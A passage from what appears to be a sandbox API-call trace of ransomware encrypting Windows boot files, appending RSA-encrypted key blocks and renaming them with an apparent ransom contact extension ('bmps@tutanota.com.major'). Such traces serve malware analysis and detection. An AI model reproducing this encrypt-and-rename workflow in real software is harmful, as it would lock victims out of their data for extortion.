hHeap=0x570000) returned 1 [0121.938] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0121.939] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e900 [0121.939] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e7f0 [0121.939] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0121.939] SetFileAttributesW (lpFileName="\\Boot\\memtest.exe", dwFileAttributes=0x80) returned 0 [0121.939] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e938 [0121.939] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdbc8 [0121.939] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e938 | out: hHeap=0x570000) returned 1 [0121.939] CreateFileW (lpFileName="\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0121.939] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdbc8 | out: hHeap=0x570000) returned 1 [0121.939] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e7f0 | out: hHeap=0x570000) returned 1 [0121.939] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e900 | out: hHeap=0x570000) returned 1 [0121.939] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ec80 | out: hHeap=0x570000) returned 1 [0121.939] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ed60 [0121.939] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e7f0 [0121.939] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0121.939] SetFileAttributesW (lpFileName="\\Boot\\bootvhd.dll", dwFileAttributes=0x80) returned 0 [0121.939] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eeb0 [0121.939] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cde98 [0121.939] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eeb0 | out: hHeap=0x570000) returned 1 [0121.939] CreateFileW (lpFileName="\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0121.940] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x570000) returned 1 [0121.940] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e7f0 | out: hHeap=0x570000) returned 1 [0121.940] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ed60 | out: hHeap=0x570000) returned 1 [0121.940] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x591300 | out: hHeap=0x570000) returned 1 [0121.940] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ea50 [0121.940] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e7f0 [0121.940] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0121.940] SetFileAttributesW (lpFileName="\\Boot\\BOOTSTAT.DAT", dwFileAttributes=0x80) returned 1 [0121.941] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eb68 [0121.941] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7278 [0121.941] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eb68 | out: hHeap=0x570000) returned 1 [0121.941] CreateFileW (lpFileName="\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0121.941] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=65536) returned 1 [0121.942] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10000) returned 0x5cdfe8 [0121.942] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10000) returned 0x5ddff0 [0121.942] ReadFile (in: hFile=0x458, lpBuffer=0x5cdfe8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5cdfe8*, lpNumberOfBytesRead=0x2e3f9b4*=0x10000, lpOverlapped=0x0) returned 1 [0121.945] SetFilePointer (in: hFile=0x458, lDistanceToMove=-65536, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.945] WriteFile (in: hFile=0x458, lpBuffer=0x5ddff0*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ddff0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x10000, lpOverlapped=0x0) returned 1 [0121.945] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdfe8 | out: hHeap=0x570000) returned 1 [0121.945] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ddff0 | out: hHeap=0x570000) returned 1 [0121.946] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x10000 [0121.947] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0121.947] WriteFile (in: hFile=0x458, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0121.947] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0121.947] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0121.948] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0121.948] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5288 [0121.948] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5288, pcchString=0x2e3f9a8 | out: pszString="fcIKtL2gTQTOoNOQBiT0w4Pp8SwcUmlsl71c+sVG8Pv62zPSv6oQHBmWMVGNDp9s\njWF5GE+3KL9n1UZfDuqhW/U5dnscLoRtAXsDVOhOS43uRPsKGQWUxcwUodBhD+iR\nkoRQJLa0MBWEX+uBp/Zrk+/a/6jJpWaOHoOTFQKdyBrCzyrWHMczZnkeO3yKzdBP\naiN6sMVCEtL0Rm5sKzokERnE58svG/pOLZ2WVeiGvlixQ4NCWaCh4XkYHq1uZqF/\nvjIrKOCaz5cciSRse6NCA+5wZ1+mZnGu7ZfbDfdXCgjTMogwpED+gofg9I66mOBv\nff1l9+nE6XD28hlbGOrYaQ==\n", pcchString=0x2e3f9a8) returned 1 [0121.948] WriteFile (in: hFile=0x458, lpBuffer=0x5b5288*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5288*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0121.949] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0121.949] WriteFile (in: hFile=0x458, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0121.949] CloseHandle (hObject=0x458) returned 1 [0121.950] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5288 | out: hHeap=0x570000) returned 1 [0121.951] MoveFileExW (lpExistingFileName="\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), lpNewFileName="\\Boot\\BOOTSTAT.DAT.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\boot\\bootstat.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0121.965] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0121.965] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e7f0 | out: hHeap=0x570000) returned 1 [0121.965] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea50 | out: hHeap=0x570000) returned 1 [0121.965] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0121.965] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ecf0 [0121.965] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e7f0 [0121.965] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0121.965] SetFileAttributesW (lpFileName="\\Boot\\bootspaces.dll", dwFileAttributes=0x80) returned 0 [0121.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ee08 [0121.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0121.971] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ee08 | out: hHeap=0x570000) returned 1 [0121.971] CreateFileW (lpFileName="\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0121.971] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0121.971] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e7f0 | out: hHeap=0x570000) returned 1 [0121.971] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ecf0 | out: hHeap=0x570000) returned 1 [0121.971] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ab220 | out: hHeap=0x570000) returned 1 [0121.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e7f0 [0121.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0121.971] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0121.971] SetFileAttributesW (lpFileName="\\Boot\\BCD.LOG2", dwFileAttributes=0x80) returned 1 [0121.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5b5650 [0121.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdbc8 [0121.972] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5650 | out: hHeap=0x570000) returned 1 [0121.972] CreateFileW (lpFileName="\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0121.972] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0121.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d320 [0121.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d1c0 [0121.972] ReadFile (in: hFile=0x458, lpBuffer=0x59d320, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d320*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0121.972] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.972] WriteFile (in: hFile=0x458, lpBuffer=0x59d1c0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1c0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0121.972] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d320 | out: hHeap=0x570000) returned 1 [0121.972] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1c0 | out: hHeap=0x570000) returned 1 [0121.972] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0121.972] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0121.972] WriteFile (in: hFile=0x458, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0121.973] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0121.973] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0121.973] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0121.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0121.973] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="B3aDqjOPIH43Fj02KTNNE5pLOmvBwpuxk3WVTDrztPsWCRQ5WSvhkLS58WJbqHSS\ndpsdwDj0XlwEe4GMJbH9KYpZ5XMerIbSCPmRorQXcGVMz0NTZxI2/NhkPOByqxM2\nCIzNsEpg9t8Kk/WUDnjpyHRb6qSvlntSBTv3PoNNWvGz7J3O11BxSuQO47B4r8d+\n6qLmPHHpmXyJfnk5sWiYHQq3Ej4kQei1Hmgf4fjJdR/m26sKFpcDWxZJFbYZ0RDj\npT3K9tui7zuS/yT+Q2qF7KsstQWyOuTVXONHYweclCROlLebs/GtpUUohLC1zFPJ\nsfKK59bqNzqa3fBxEjPzMA==\n", pcchString=0x2e3f9a8) returned 1 [0121.973] WriteFile (in: hFile=0x458, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0121.973] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0121.973] WriteFile (in: hFile=0x458, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0121.974] CloseHandle (hObject=0x458) returned 1 [0121.974] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0121.974] MoveFileExW (lpExistingFileName="\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), lpNewFileName="\\Boot\\BCD.LOG2.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\boot\\bcd.log2.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0121.976] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdbc8 | out: hHeap=0x570000) returned 1 [0121.976] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0121.976] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e7f0 | out: hHeap=0x570000) returned 1 [0121.976] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccbc0 | out: hHeap=0x570000) returned 1 [0121.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0121.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e7f0 [0121.976] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0121.976] SetFileAttributesW (lpFileName="\\Boot\\BCD.LOG1", dwFileAttributes=0x80) returned 1 [0121.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccbc0 [0121.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdad8 [0121.976] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccbc0 | out: hHeap=0x570000) returned 1 [0121.976] CreateFileW (lpFileName="\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0121.976] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0121.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d340 [0121.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d270 [0121.976] ReadFile (in: hFile=0x458, lpBuffer=0x59d340, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d340*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0121.976] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.977] WriteFile (in: hFile=0x458, lpBuffer=0x59d270*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d270*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0121.977] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d340 | out: hHeap=0x570000) returned 1 [0121.977] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d270 | out: hHeap=0x570000) returned 1 [0121.977] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0121.977] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0121.977] WriteFile (in: hFile=0x458, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0121.978] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0121.978] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0121.978] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0121.978] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0121.978] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="wCeaiEP05rkyWFpTcuQRrhKOIkes6ICdi99SklGbffraJJKqb1qz0xmPM5o7WkyB\nqMcvmQPxti05RnKYEEHnr7QgJnDW1IyzbBmy3WO00DSN9A0f/uVR4i20smxRpyBN\nVnbj+tH2DLC2KJxFB5jYOeJOhDnNqEmrO7KiDLYJSyMSCjDr5k5eQ/C3RuttVtzW\nw7jpyI/OOQujuRHd84U2CIqjjStc3nXeeiY/6LXRFSH/BgXmWKJ+ycBIbkmwIIO1\nizN19tjGrrsRYmByeRGiip+8KSlCqFAaEq88maau6Fi0fZUzxzrs6sxTDC/OCHjG\nFxSRtyrtmMhhLa31WvA0dg==\n", pcchString=0x2e3f9a8) returned 1 [0121.978] WriteFile (in: hFile=0x458, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0121.979] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0121.979] WriteFile (in: hFile=0x458, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0121.979] CloseHandle (hObject=0x458) returned 1 [0121.980] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0121.980] MoveFileExW (lpExistingFileName="\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), lpNewFileName="\\Boot\\BCD.LOG1.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\boot\\bcd.log1.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0121.982] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdad8 | out: hHeap=0x570000) returned 1 [0121.982] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e7f0 | out: hHeap=0x570000) returned 1 [0121.982] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0121.982] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0121.982] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb98 [0121.982] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccbc0 [0121.982] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0121.982] SetFileAttributesW (lpFileName="\\Boot\\BCD.LOG", dwFileAttributes=0x80) returned 1 [0121.982] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e7f0 [0121.982] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd970 [0121.982] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e7f0 | out: hHeap=0x570000) returned 1 [0121.982] CreateFileW (lpFileName="\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0121.982] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd970 | out: hHeap=0x570000) returned 1 [0121.982] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccbc0 | out: hHeap=0x570000) returned 1 [0121.982] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0121.982] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0121.982] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e7f0 [0121.982] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0121.982] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0121.983] SetFileAttributesW (lpFileName="\\Boot\\BCD", dwFileAttributes=0x80) returned 1 [0121.983] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0121.983] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6570 [0121.983] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0121.983] CreateFileW (lpFileName="\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0121.983] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6570 | out: hHeap=0x570000) returned 1 [0121.983] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0121.983] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e7f0 | out: hHeap=0x570000) returned 1 [0121.983] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0121.983] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0121.983] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0121.983] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1090 | out: hHeap=0x570000) returned 1 [0121.983] FindFirstFileW (in: lpFileName="\\Documents and Settings\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="zh-TW", cAlternateFileName="")) returned 0xffffffff [0121.983] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.983] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c10b8 | out: hHeap=0x570000) returned 1 [0121.983] FindFirstFileW (in: lpFileName="\\ESD\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, 